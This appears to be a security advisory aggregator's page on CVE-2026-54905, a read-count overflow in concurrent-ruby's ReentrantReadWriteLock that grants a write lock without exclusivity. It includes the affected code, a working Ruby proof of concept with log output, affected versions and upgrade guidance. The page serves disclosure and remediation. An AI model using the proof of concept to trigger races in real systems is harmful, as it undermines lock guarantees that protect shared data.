CVE-2026-54905: concurrent-ruby: `ReentrantReadWriteLock` read-count overflow grants a write lock without exclusivity

Published Jun 19, 2026
·
Updated

Summary Concurrent::ReentrantReadWriteLock can incorrectly grant a write lock after one thread acquires the read lock 32,768 times.

The lock stores a thread's local read and write hold counts in one integer. The low 15 bits are used for the read hold count, and bit 15 is used as WRITELOCKHELD. After 32,768 reentrant read acquisitions, the local read count crosses into the write-lock bit. trywritelock then treats the thread as already holding a write lock and returns true without setting the global RUNNINGWRITER bit.

This breaks the core mutual-exclusion guarantee: the caller is told it has a write lock, but other threads can still hold or acquire read locks at the same time.

Version Software: concurrent-ruby Version: 1.3.6 Commit: 7a1b78941c081106c20a9ca0144ac73a48d254ab

Details

The implementation uses a shared counter to track global readers/writers and a per-thread local counter to support reentrancy:

ruby READERBITS = 15 WRITERBITS = 14

WAITINGWRITER = 1 << READERBITS RUNNINGWRITER = 1 << (READERBITS + WRITERBITS) MAXREADERS = WAITINGWRITER - 1 MAXWRITERS = RUNNINGWRITER - MAXREADERS - 1

WRITELOCKHELD = 1 << READERBITS READLOCKMASK = WRITELOCKHELD - 1 WRITELOCKMASK = MAXWRITERS

When a thread already holds a lock, acquirereadlock increments @HeldCount:

ruby if (held = @HeldCount.value) > 0 if held & READLOCKMASK == 0 @Counter.update { |c| c + 1 } end @HeldCount.value = held + 1 return true end

After 32,768 read acquisitions, the per-thread held count becomes 32768, which is equal to WRITELOCKHELD. Then trywritelock returns success through its "already have a write lock" branch:

ruby def trywritelock if (held = @HeldCount.value) >= WRITELOCKHELD @HeldCount.value = held + WRITELOCKHELD return true else # normal global writer acquisition path end end

This branch does not set the global RUNNINGWRITER bit. Other threads therefore do not observe an active writer and can continue holding or acquiring read locks while the caller believes it owns the write lock.

PoC

ruby #!/usr/bin/env ruby frozenstringliteral: true

require 'concurrent/atomic/reentrantreadwritelock' require 'concurrent/version' require 'thread'

def waitforqueue(queue, timeoutseconds) deadline = Process.clockgettime(Process::CLOCKMONOTONIC) + timeoutseconds loop do return queue.pop(true) rescue ThreadError return nil if Process.clockgettime(Process::CLOCKMONOTONIC) >= deadline

sleep 0.001 end end

puts "ruby=#{RUBYDESCRIPTION}" puts "concurrentrubyversion=#{Concurrent::VERSION}" puts "poc=ReentrantReadWriteLock read-depth overflow grants write lock without exclusivity"

lock = Concurrent::ReentrantReadWriteLock.new otherreaderready = Queue.new otherreaderstop = Queue.new

otherreader = Thread.new do lock.acquirereadlock otherreaderready << :held otherreaderstop.pop end

waitforqueue(otherreaderready, 1) puts "otherthreadholdsreadlock=true"

depth = Concurrent::ReentrantReadWriteLock::WRITELOCKHELD depth.times { lock.acquirereadlock }

heldcount = lock.instanceeval { @HeldCount.value } counterbefore = lock.instanceeval { @Counter.value }

puts "mainthreadreadacquisitions=#{depth}" puts "mainthreadheldcount=#{heldcount}" puts "counterbeforetrywrite=#{counterbefore}" puts "runningwriterbitbefore=#{(counterbefore & Concurrent::ReentrantReadWriteLock::RUNNINGWRITER) != 0}"

writegranted = lock.trywritelock counterafter = lock.instanceeval { @Counter.value }

puts "trywritelockreturned=#{writegranted}" puts "counteraftertrywrite=#{counterafter}" puts "runningwriterbitafter=#{(counterafter & Concurrent::ReentrantReadWriteLock::RUNNINGWRITER) != 0}"

thirdreaderready = Queue.new thirdreader = Thread.new do lock.acquirereadlock thirdreaderready << :acquired end

thirdreaderacquired = waitforqueue(thirdreaderready, 0.25) == :acquired puts "newreaderacquiredwhilewriteclaimed=#{thirdreaderacquired}"

if writegranted && thirdreaderacquired && (counterafter & Concurrent::ReentrantReadWriteLock::RUNNINGWRITER).zero? puts 'result=REPRODUCED write lock granted without setting global writer state' else puts 'result=NOTREPRODUCED' end

thirdreader.kill otherreaderstop << :stop otherreader.kill

Log evidence text ruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25] concurrentrubyversion=1.3.6 poc=ReentrantReadWriteLock read-depth overflow grants write lock without exclusivity otherthreadholdsreadlock=true mainthreadreadacquisitions=32768 mainthreadheldcount=32768 counterbeforetrywrite=2 runningwriterbitbefore=false trywritelockreturned=true counteraftertrywrite=2 runningwriterbitafter=false newreaderacquiredwhilewriteclaimed=true result=REPRODUCED write lock granted without setting global writer state

Impact This breaks the write-lock exclusivity guarantee. After the overflow, a thread can be told it has acquired the write lock while other threads can still hold or acquire read locks, allowing races and inconsistent reads of protected mutable state.

Credit Pranjali Thakur - depthfirst (depthfirst.com)

Other sources

concurrent-ruby is a modern concurrency tools for Ruby. Prior to 1.3.7, Concurrent::ReentrantReadWriteLock can incorrectly grant a write lock after one thread acquires the read lock 32,768 times. The lock stores a thread's local read and write hold counts in one integer. The low 15 bits are used for the read hold count, and bit 15 is used as WRITELOCKHELD. After 32,768 reentrant read acquisitions, the local read count crosses into the write-lock bit. trywritelock then treats the thread as already holding a write lock and returns true without setting the global RUNNINGWRITER bit. This breaks the core mutual-exclusion guarantee: the caller is told it has a write lock, but other threads can still hold or acquire read locks at the same time. This vulnerability is fixed in 1.3.7.

— MITRE

concurrent-ruby: ReentrantReadWriteLock read-count overflow grants a write lock without exclusivity

— Microsoft

Affected Software

4 affected componentsFixes available
rubygems/concurrent-ruby<1.3.7
1.3.7
Rubyconcurrency Concurrent Ruby Ruby<1.3.7
Microsoft azl3 rubygem-concurrent-ruby 1.2.2-1<1.3.7-1
1.3.7-1
IBM API Connect V12 OnPrem<=v12.1.0.0 - v12.1.1.2

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade rubygems/concurrent-ruby to a version that resolves this vulnerability.

    Fixed in 1.3.7
  2. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 1.3.7-1
  3. Upgrade

    Upgrade concurrent-ruby to a version that resolves this vulnerability.

    Fixed in 1.3.7
  4. Compensating control

    If you cannot immediately upgrade from concurrent-ruby 1.3.6, mitigate by preventing a single thread from reentrantly acquiring `ReentrantReadWriteLock` read locks 32,768 times (i.e., avoid deep/long-running reentrant read acquisition loops that could overflow the per-thread read hold count into the `WRITE_LOCK_HELD` bit).

Event History

Jun 19, 2026
Advisory Published
via GitHub·08:47 PM
Data Sourced
via GitHub·08:47 PM
DescriptionWeaknessAffected Software
Jun 24, 2026
CVE Published
via MITRE·03:42 PM
Data Sourced
via MITRE·03:42 PM
DescriptionWeakness
Data Sourced
via NVD·05:17 PM
DescriptionSeverityWeaknessAffected Software
Jun 27, 2026
Data Sourced
via Microsoft·08:10 AM
DescriptionSeverityWeaknessAffected Software
Oct 8, 2026
Data Sourced
via IBM·12:00 AM
DescriptionAffected Software

Parent advisories

This vulnerability appears in the following advisories.

Frequently Asked Questions

1

What is the severity of CVE-2026-54905?

CVE-2026-54905 has a severity rating of low with a CVSS score of 4.0.

2

What does CVE-2026-54905 affect?

CVE-2026-54905 affects the `Concurrent::ReentrantReadWriteLock` component of the concurrent-ruby library.

3

How do I fix CVE-2026-54905?

To fix CVE-2026-54905, update the concurrent-ruby library to the latest version that addresses this vulnerability.

4

What is the impact of CVE-2026-54905?

CVE-2026-54905 can incorrectly grant a write lock when a thread acquires a read lock too many times, leading to potential data inconsistencies.

5

When was CVE-2026-54905 published?

CVE-2026-54905 was published on June 19, 2026.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203